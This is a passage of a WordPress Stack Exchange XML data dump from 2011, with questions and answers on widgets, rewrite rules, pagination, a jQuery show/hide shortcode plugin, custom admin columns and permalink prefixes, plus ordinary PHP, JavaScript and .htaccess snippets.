'widgets_init', 'register_unfiltered_text_widget', 20 );&#xA;&#xA;function register_unfiltered_text_widget()&#xA;{&#xA;    register_widget( 'Unfiltered_Text_Widget' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you get a new widget in &lt;code&gt;wp-admin/widgets.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/CsynB.png&quot; alt=&quot;widgets in backend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put just two cool Youtube videos as iframes and a &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; into the widget.&lt;br&gt;&#xA;Output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/7AjCm.png&quot; alt=&quot;widget output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-04T10:32:38.697" CommentCount="1" />
  <row Id="19211" PostTypeId="2" ParentId="15418" CreationDate="2011-06-04T12:10:11.090" Score="1" ViewCount="" Body="&lt;p&gt;To modify the search rewrite rules you can hook into the &lt;code&gt;search_rewrite_rules&lt;/code&gt; filter. You can either add the extra rewrite rules that match post types yourself, or you can change the default &quot;search rewrite structure&quot; to also include the post type and then re-generate the rules (there are four rules: one standard, one with paging and two for feeds). Because &lt;code&gt;WP_Rewrite::generate_rewrite_rules()&lt;/code&gt; &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/rewrite.php#L1254&quot; rel=&quot;nofollow&quot;&gt;generates rules at every &quot;directory level&quot;&lt;/a&gt;, you will get rules for &lt;code&gt;/search/[keyword]/section/[post_type]/&lt;/code&gt;, &lt;code&gt;/search/[keyword]/section/&lt;/code&gt; and &lt;code&gt;/search/[keyword]/&lt;/code&gt;. You don't need the middle rule, but it won't hurt to keep it in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'search_rewrite_rules', 'wpse15418_search_rewrite_rules' );&#xA;function wpse15418_search_rewrite_rules( $search_rewrite_rules )&#xA;{&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;add_rewrite_tag( '%post_type%', '([^/]+)', 'post_type=' );&#xA;    $search_structure = $wp_rewrite-&amp;gt;get_search_permastruct();&#xA;    return $wp_rewrite-&amp;gt;generate_rewrite_rules( $search_structure . '/section/%post_type%', EP_SEARCH );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To check the rules, use &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-06-04T12:10:11.090" />
  <row Id="19212" PostTypeId="2" ParentId="18786" CreationDate="2011-06-04T12:24:52.320" Score="0" ViewCount="" Body="&lt;p&gt;The promo slider on your demo site has the class &lt;code&gt;.random&lt;/code&gt;, and in your &lt;code&gt;style-Red.css&lt;/code&gt; file you give it a &lt;code&gt;float: left; width: 200px&lt;/code&gt;. But because your promo slider is actually 600 pixels wide, you have 400 pixels that overlap with what follows: your text. So I don't think this is a WordPress issue but a CSS issue.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-06-04T12:24:52.320" />
  <row Id="19214" PostTypeId="1" CreationDate="2011-06-04T12:50:15.013" Score="0" ViewCount="55" Body="&lt;p&gt;If one allows visitors of a WordPress blog to register themselves and post to the blog without moderation(i.e. without submit for review), malicious visitors may try to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)Post a large number of posts and fill up the server space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Post a few large posts and fill up the server space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)Create a large number of drafts and fill up the server space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4)Post inappropriate content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does WordPress have mechanisms to prevent these? Or any plugins to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: If you see any other problems I have missed please point them out as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-07-07T06:27:19.007" Title="Allowing Users to Register Themselves and Post : Does WordPerss Handle these Problems?" Tags="&lt;posts&gt;&lt;security&gt;&lt;moderation&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19215" PostTypeId="1" CreationDate="2011-06-04T13:04:22.447" Score="2" ViewCount="79" Body="&lt;p&gt;He I'm Hieu, I work as IT Engineer in An Thanh company Vietnam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have 5 hosts (Shared host: Godaddy) with more that 60 sites each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the moment all of this main sites (5) go down regularly with 500 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All on different times and duration and go from some minutes 5, 15 and more to some hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We haven't found the problem yet and because we don't have much experience with WP and, specifically, Multisite, we need to ask some questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the maximum number of sites for a WP Multisite?  What are the limits on the database?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This interruption that we have I'm sure that is happening before with some with your other customers can you help me to know what the reason is...!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope you can help me on the right way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tran Trung Hieu&#xA;IT AN THANH&#xA;Vietnam&lt;/p&gt;&#xA;" OwnerUserId="5924" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-07-05T16:39:03.370" LastActivityDate="2011-07-05T17:55:54.380" Title="On WP Multi sites how many sites...!" Tags="&lt;multisite&gt;&lt;shared-hosting&gt;" AnswerCount="4" />
  <row Id="19217" PostTypeId="2" ParentId="19000" CreationDate="2011-06-04T13:24:06.197" Score="0" ViewCount="" Body="&lt;p&gt;I had the same Error. It occured because I requested a post-type that didn't existed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts', 'my_get_posts' );&#xA;&#xA;//events don't exists&#xA;function my_get_posts( $query ) {&#xA;    $query-&amp;gt;set( 'post_type', array( 'post', 'page', 'events' ) );&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5925" LastActivityDate="2011-06-04T13:24:06.197" />
  <row Id="19219" PostTypeId="1" CreationDate="2011-06-04T14:27:48.187" Score="0" ViewCount="139" Body="&lt;p&gt;I want to change the default text of the &lt;em&gt;nextpage&lt;/em&gt; tag. I am using Atahualpa 3.6.4. I am not sure how to do this, right now, I get this, whenever I enter &lt;em&gt;nextpage&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pages: 1 2 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My pages: 1 2 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="5926" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-07-04T16:33:58.847" LastActivityDate="2011-09-02T21:40:00.410" Title="How to change nextpage text with Atahualpa theme?" Tags="&lt;pagination&gt;&lt;atahualpa&gt;" AnswerCount="1" />
  <row Id="19220" PostTypeId="2" ParentId="19219" CreationDate="2011-06-04T14:50:32.870" Score="0" ViewCount="" Body="&lt;p&gt;in version 3.6.7, &lt;code&gt;functions/bfa-post-parts.php&lt;/code&gt; line 133:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bfa_post_pagination($before = '&amp;lt;p class=&quot;post-pagination&quot;&amp;gt;&amp;lt;strong&amp;gt;Pages:', $after = '&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-04T14:50:32.870" CommentCount="1" />
  <row Id="19221" PostTypeId="2" ParentId="19128" CreationDate="2011-06-04T15:51:54.107" Score="0" ViewCount="" Body="&lt;p&gt;I seems to be somehow removed from the plugin repository &lt;a href=&quot;http://wordpress.org/support/topic/my-plugins-have-disappeared&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/my-plugins-have-disappeared&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still find the exact code here if you like &lt;a href=&quot;http://pastebin.com/XmZzbJKt&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/XmZzbJKt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="5424" LastEditorDisplayName="" LastEditDate="2011-06-04T15:57:39.020" LastActivityDate="2011-06-04T15:57:39.020" />
  <row Id="19222" PostTypeId="1" CreationDate="2011-06-04T16:36:12.503" Score="0" ViewCount="54" Body="&lt;p&gt;The page I am talking about is this: &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/&lt;/a&gt; It is simple and perfect in my opinion. Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-06-04T17:12:36.923" Title="How can I make a login just like on wordpress.org?" Tags="&lt;login&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19223" PostTypeId="2" ParentId="19222" CreationDate="2011-06-04T17:12:36.923" Score="1" ViewCount="" Body="&lt;p&gt;this should give you the same look unless your theme's css overwrites it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;loginformfooter&quot; class=&quot;loginform&quot; id=&quot;loginformfooter&quot; action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-login.php&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Username      &amp;lt;input type=&quot;text&quot; value=&quot;&quot; maxlength=&quot;40&quot; size=&quot;13&quot; id=&quot;user_login&quot; name=&quot;user_login&quot; class=&quot;text&quot;&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;Password     &amp;lt;input type=&quot;password&quot; maxlength=&quot;40&quot; size=&quot;13&quot; id=&quot;password&quot; name=&quot;password&quot; class=&quot;text&quot;&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; value=&quot;&quot; name=&quot;re&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Log in&quot; id=&quot;submit&quot; name=&quot;Submit&quot; class=&quot;button-secondary&quot;&amp;gt;&#xA;    (&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-login.php?action=lostpassword&quot;&amp;gt;forgot?&amp;lt;/a&amp;gt;) or &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-login.php?action=register&quot;&amp;gt;Register&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-04T17:12:36.923" />
  <row Id="19224" PostTypeId="1" CreationDate="2011-06-04T18:05:00.900" Score="0" ViewCount="170" Body="&lt;p&gt;Is it possible to create a TinyMCE button and shortcodes to WordPress to enclose press releases in, so that they're hidden by default, but at the press of the button, they would expand to reveal the content? And then compress/hide again upon click?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;http://www.engadget.com/2011/02/11/tron-legacy-blu-ray-gets-a-release-date-supports-disneys-seco/&quot; rel=&quot;nofollow&quot;&gt;http://www.engadget.com/2011/02/11/tron-legacy-blu-ray-gets-a-release-date-supports-disneys-seco/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't have to be just press releases, obviously. It could be used to hide anything, such as a lengthy passage with spoilers, etc.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2011-09-02T22:40:01.330" Title="How to add shortcode to show/hide press releases?" Tags="&lt;jquery&gt;&lt;shortcode&gt;&lt;tinymce&gt;" AnswerCount="1" />
  <row Id="19225" PostTypeId="1" AcceptedAnswerId="19289" CreationDate="2011-06-04T18:26:16.207" Score="0" ViewCount="146" Body="&lt;p&gt;How can I modify month names in &quot;Archives&quot; in my blog? I would like to translate english month names into my mother tongue. I'm using the english version of wordpress 3.1.3&lt;/p&gt;&#xA;" OwnerUserId="5932" LastActivityDate="2011-06-05T19:55:44.600" Title="How to translate month names in &quot;Archives&quot;" Tags="&lt;customization&gt;&lt;sidebar&gt;&lt;archive&gt;&lt;translation&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="19226" PostTypeId="2" ParentId="19206" CreationDate="2011-06-04T18:29:01.213" Score="2" ViewCount="" Body="&lt;p&gt;for more info, have a read of this WP codex article: &lt;a href=&quot;http://codex.wordpress.org/Formatting_Date_and_Time&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Formatting_Date_and_Time&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-06-04T18:29:01.213" CommentCount="1" />
  <row Id="19227" PostTypeId="2" ParentId="19215" CreationDate="2011-06-04T18:37:11.877" Score="0" ViewCount="" Body="&lt;p&gt;Wp multi site has no limit or just depends on your server being that you are on a shared server it would be a lot less.  As for the errors you are better of asking your host. &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-04T18:37:11.877" />
  <row Id="19228" PostTypeId="2" ParentId="19224" CreationDate="2011-06-04T19:31:31.680" Score="0" ViewCount="" Body="&lt;p&gt;I coded this up quickly, based on &lt;a href=&quot;http://scribu.net/wordpress/optimal-script-loading.html&quot; rel=&quot;nofollow&quot;&gt;Scribu's writeup on script loading&lt;/a&gt;, might work for you or provide a starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The plugin file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* &#xA;Plugin Name: MO_expander_shortcode&#xA;*/  &#xA;&#xA;class MO_expander_shortcode {&#xA;    static $add_script;&#xA;&#xA;    function init() {&#xA;        add_shortcode('moexpander', array(__CLASS__, 'handle_shortcode'));&#xA;        add_action('wp_footer', array(__CLASS__, 'add_script'));&#xA;    }&#xA;&#xA;    function handle_shortcode($atts, $content = null) {&#xA;        self::$add_script = true;&#xA;        // this is the part that formats the markup with your content.&#xA;        // change it however you like, just be sure to update the js and css files to reflect changes.&#xA;        return '&amp;lt;div&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;moexpander&quot;&amp;gt;expand&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;moexpander&quot;&amp;gt;' . $content . '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    function add_script() {&#xA;        if ( ! self::$add_script )&#xA;            return;&#xA;&#xA;        wp_register_script('mo-expander-script', plugins_url('mo-expander-script.js', __FILE__), array('jquery'), '1.0', true);&#xA;        wp_print_scripts('mo-expander-script');&#xA;&#xA;        wp_register_style('mo-expander-style', plugins_url('mo-expander-style.css', __FILE__));&#xA;        wp_print_styles('mo-expander-style');&#xA;    }&#xA;}&#xA;MO_expander_shortcode::init();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the &lt;code&gt;mo-expander-script.js&lt;/code&gt; file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    jQuery('div.moexpander').hide();&#xA;    jQuery('a.moexpander').click(function(){&#xA;        jQuery(this).parent().next('div.moexpander').slideToggle();&#xA;        return false;&#xA;    });                 &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the &lt;code&gt;mo-expander-style.css&lt;/code&gt; file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.moexpander{&#xA;/* style as you wish! */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use:&lt;/strong&gt;&#xA;Put them all in a folder in your plugins directory and then activate it via the plugins page.&#xA;Then in the editor, enclose whatever content you want hidden as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[moexpander]Some text here which will be hidden in a div with a link to toggle it open/closed[/moexpander]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add as many instances on a post as you wish. I'll have to look into adding the TinyMCE button later, I haven't done that before.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-04T19:31:31.680" CommentCount="1" />
  <row Id="19229" PostTypeId="2" ParentId="19206" CreationDate="2011-06-04T19:42:08.907" Score="4" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3531/how-can-i-add-columns-to-the-post-edit-listing-to-show-my-custom-post-data/3532#3532&quot;&gt;Add a column to the post edit screen&lt;/a&gt; and format the date however you like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/19180/how-to-remove-a-column-from-the-posts-page/19182#19182&quot;&gt;Remove the default Date column&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; here's the code to put inside your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt; added additional code to add publish status and make the column sortable, this should now be a complete copy of the original date column.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_custom_columns( $columns ) {&#xA;  unset( $columns['date'] );&#xA;  $columns['mydate'] = 'My Custom Date';&#xA;  return $columns;&#xA;}&#xA;&#xA;function my_format_column( $column_name , $post_id ) {&#xA;    if($column_name == 'mydate'){&#xA;        echo get_the_time( 'l, F j, Y', $post_id ).&quot;&amp;lt;br&amp;gt;&quot;.get_post_status( $post_id );&#xA;    }&#xA;}&#xA;&#xA;function my_column_register_sortable( $columns ) {&#xA;    $columns['mydate'] = 'mydate';&#xA;    return $columns;&#xA;}&#xA;&#xA;function my_column_orderby( $vars ) {&#xA;    if ( isset( $vars['orderby'] ) &amp;amp;&amp;amp; 'mydate' == $vars['orderby'] ) {&#xA;        $vars = array_merge( $vars, array(&#xA;            'orderby' =&amp;gt; 'date'&#xA;        ) );&#xA;    }&#xA;    return $vars;&#xA;}&#xA;&#xA;function my_column_init() {&#xA;  add_filter( 'manage_posts_columns' , 'my_custom_columns' );&#xA;  add_action( 'manage_posts_custom_column' , 'my_format_column' , 10 , 2 );&#xA;  add_filter( 'manage_edit-post_sortable_columns', 'my_column_register_sortable' );&#xA;  add_filter( 'request', 'my_column_orderby' );&#xA;}&#xA;add_action( 'admin_init' , 'my_column_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;http://scribu.net/&quot; rel=&quot;nofollow&quot;&gt;Scribu&lt;/a&gt; for his &lt;a href=&quot;http://scribu.net/wordpress/custom-sortable-columns.html&quot; rel=&quot;nofollow&quot;&gt;tutorial on sortable columns&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="5922" LastEditorDisplayName="" LastEditDate="2011-06-09T06:47:54.903" LastActivityDate="2011-06-09T06:47:54.903" CommentCount="5" />
  <row Id="19230" PostTypeId="2" ParentId="19203" CreationDate="2011-06-04T20:34:36.670" Score="2" ViewCount="" Body="&lt;p&gt;i don't think there is anything easier than to use the &lt;code&gt;is_paged()&lt;/code&gt; together with a counter;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;before the loop:&#xA;&lt;code&gt;&amp;lt;?php $counter = 1; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( $counter == 1  &amp;amp;&amp;amp; !is_paged() ) : &#xA;$counter++; ?&amp;gt;&#xA;/*code for the first post with large video*/&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;/*code for all other posts*/&#xA;&amp;lt;?php endif; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the amount of duplicated code obviously depends on the existing structure of the loop.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-04T20:34:36.670" CommentCount="3" />
  <row Id="19231" PostTypeId="1" CreationDate="2011-06-04T08:33:04.160" Score="0" ViewCount="86" Body="&lt;p&gt;I have to add a blog in my magento site.Is it possible to integrate wordpress into magento by which we are able to post blog in the wordpress and then display in the magento site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pramod&lt;/p&gt;&#xA;" LastActivityDate="2011-06-04T20:39:22.153" Title="How I can add blog in my magento site?" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19232" PostTypeId="2" ParentId="19231" CreationDate="2011-06-04T08:53:43.343" Score="2" ViewCount="" Body="&lt;p&gt;Here is an extension for this..that you can use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.magentocommerce.com/magento-connect/aheadworks/extension/1516/blog-extension-by-aheadworks&quot; rel=&quot;nofollow&quot;&gt;http://www.magentocommerce.com/magento-connect/aheadworks/extension/1516/blog-extension-by-aheadworks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can go with ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/4018827/full-magento-wordpress-integration&quot;&gt;Full Magento / Wordpress integration&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-06-04T09:06:14.173" />
  <row Id="19233" PostTypeId="2" ParentId="19110" CreationDate="2011-06-04T20:54:19.487" Score="1" ViewCount="" Body="&lt;p&gt;You could just do cosmetic changes on your theme with some javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;    jQuery('.tags li a').prepend('#');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;tags&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/tag/sometag/&quot;&amp;gt;sometag&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-04T20:54:19.487" />
  <row Id="19234" PostTypeId="1" AcceptedAnswerId="19264" CreationDate="2011-06-04T21:52:27.093" Score="0" ViewCount="89" Body="&lt;p&gt;I was wondering if anyone knew how to have a different &quot;featured post&quot; based on it's category per category page? For example, if you are on the medical category page,  you would see a medical post featured in a special div and so on. &lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="807" LastEditorDisplayName="" LastEditDate="2011-06-05T01:20:24.937" LastActivityDate="2011-06-05T13:13:38.307" Title="Featured Posts for Category Pages" Tags="&lt;posts&gt;&lt;categories&gt;&lt;query-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19236" PostTypeId="2" ParentId="19203" CreationDate="2011-06-04T23:46:54.530" Score="1" ViewCount="" Body="&lt;p&gt;In response to your comment, &lt;code&gt;$wp_query-&amp;gt;current_post&lt;/code&gt; in action. Note that it's zero-indexed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (have_posts()) :&#xA;while (have_posts()) : the_post();&#xA;&#xA;    if($wp_query-&amp;gt;current_post==0):&#xA;        echo &quot;this is the first post&quot;;&#xA;    else:&#xA;        echo &quot;this is post number &quot; . ($wp_query-&amp;gt;current_post + 1);&#xA;    endif;&#xA;&#xA;endwhile;&#xA;endif;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-04T23:46:54.530" CommentCount="2" />
  <row Id="19237" PostTypeId="1" AcceptedAnswerId="19239" CreationDate="2011-06-05T00:33:06.723" Score="0" ViewCount="16" Body="&lt;p&gt;I am trying to customize behavior for different displays of pages; I know I can use the Template Hierarchy and Conditional Tags to accomplish this. In the process of debugging, though, I'd like to be able to access all the meta-information about a page without having to iterate through all the &lt;code&gt;is_*&lt;/code&gt; functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to access this meta-information without rolling my own function (which would basically iterate through all the &lt;code&gt;is_*&lt;/code&gt; functions). It would also be nice if this function had other information in it as well such as page-id, author, category, etc.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-06-05T00:49:01.490" Title="How do I acquire all the meta-information for a particular page I am on?" Tags="&lt;debug&gt;" AnswerCount="1" />
  <row Id="19238" PostTypeId="1" AcceptedAnswerId="19242" CreationDate="2011-06-05T00:48:53.500" Score="1" ViewCount="229" Body="&lt;p&gt;I'm using Wordpress 3.1.3 as a full CMS, installed in the root directory of a domain.  I have it setup using the built in options to have a static page as the home page, and then my blog at &lt;a href=&quot;http://www.mydomain.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is to have my single blog posts, category pages, archive pages, and tag pages, and any other blog-related pages have the &quot;prefix&quot; of /blog/ in their link structure.  So a post URL would be www.mydomain.com/blog/post-title&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Right now, I only have the category pages working correctly.  This was accomplished by adding the following line to my .htacces file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^category/(.+)$ &lt;a href=&quot;http://www.mydomain.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/&lt;/a&gt;$1 [R=301,L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I set the Category Base to &quot;blog&quot; on the Permalinks Settings page in Wordpress.  This gives category pages the URL of: www.mydomain.com/blog/category-name  (without removing the category prefix in .htaccess, they had the URL category/blog/category-name).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In an attempt to get this working for the other things I want it to work for, I set my Tag Base to &quot;blog.&quot;  I also made my Custom Permalink Structure: /blog/%postname% (as suggested by a few threads I've found searching on Google).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These settings give the URLs for the single blog posts, tags pages, and archive pages the URL structure I'm looking for.  However, it makes them all lead to 404 errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted my .htaccess file to ensure Wordpress was writing to it, and it is.  If I remove the /blog/ from the permalink structure, everything works correctly, but I no longer have the URL structure I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss as to what I should do.  I keep reading threads and guides saying this is as simple as adding /blog/ to the permalink structure, but so far it hasn't been nearly that simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very grateful if anyone knows how I can get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On &#xA;RewriteBase / &#xA;RewriteRule ^index\.php$ - [L] &#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;RewriteRule . /index.php [L] &#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-05T07:49:30.190" LastActivityDate="2011-08-16T18:13:31.097" Title="How do I add /blog/ as a prefix to permalink structure for blog posts, tag pages, etc.?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19239" PostTypeId="2" ParentId="19237" CreationDate="2011-06-05T00:49:01.490" Score="1" ViewCount="" Body="&lt;p&gt;you can inspect $wp_query to see the query vars and returned data, including all of those conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;?php print_r($wp_query); ?&amp;gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-05T00:49:01.490" CommentCount="1" />
